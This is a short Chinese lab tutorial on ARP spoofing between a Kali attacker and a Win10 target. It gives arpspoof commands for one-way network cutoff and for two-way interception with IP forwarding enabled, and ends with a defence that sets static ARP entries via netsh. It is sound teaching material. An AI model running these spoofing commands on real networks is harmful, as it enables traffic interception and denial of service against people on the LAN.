工作组&局域网-ARP欺骗-攻击防御&单双向

免责声明:本文仅做技术交流与学习...

目录

断网限制-单向

环境:

演示:

win10:

欺骗前

欺骗后

kali:

kali执行命令:

win10结果:

劫持数据-双向

 欺骗：

网络分析：

防御--动态解析改静态

---

中间人攻击

断网限制-单向

环境:

靶机:win10

攻击机:kali

演示:

win10:

欺骗前

欺骗后

kali:

---

kali执行命令:

arpspoof -i eth0 -t 192.168.127.128 -r 192.168.127.2
-i 指定进行 arp 攻击的网卡 
-t 目标主机 IP (靶机)
-r 目标网关的 IP 地址

---

win10结果:

 

---

劫持数据-双向

同上面的单向一样,就是多了个转发,放行网络.

 欺骗：

开启转发: 
(Linux下:)
echo 1 >> /proc/sys/net/ipv4/ip_forward 
	1为转发
	0为不转发
 
 
开启欺骗：
arpspoof -i eth0 -t 192.168.127.128 -r 192.168.127.2
-i 指定进行 arp 攻击的网卡 
-t 目标主机 IP (靶机)
-r 目标网关的 IP 地址
 
 
网络分析：
wireshark&科来

网络分析：

 

---

防御--动态解析改静态

win10：

arp -a
netsh i i show in
#记录网卡的idx值
#修改命令: 
netsh -c i i add neighbors 14 192.168.127.2 00-50-56-e3-44-05
netsh -c i i add neighbors <idx值> <靶机网关IP> <靶机MAC地址>

 

---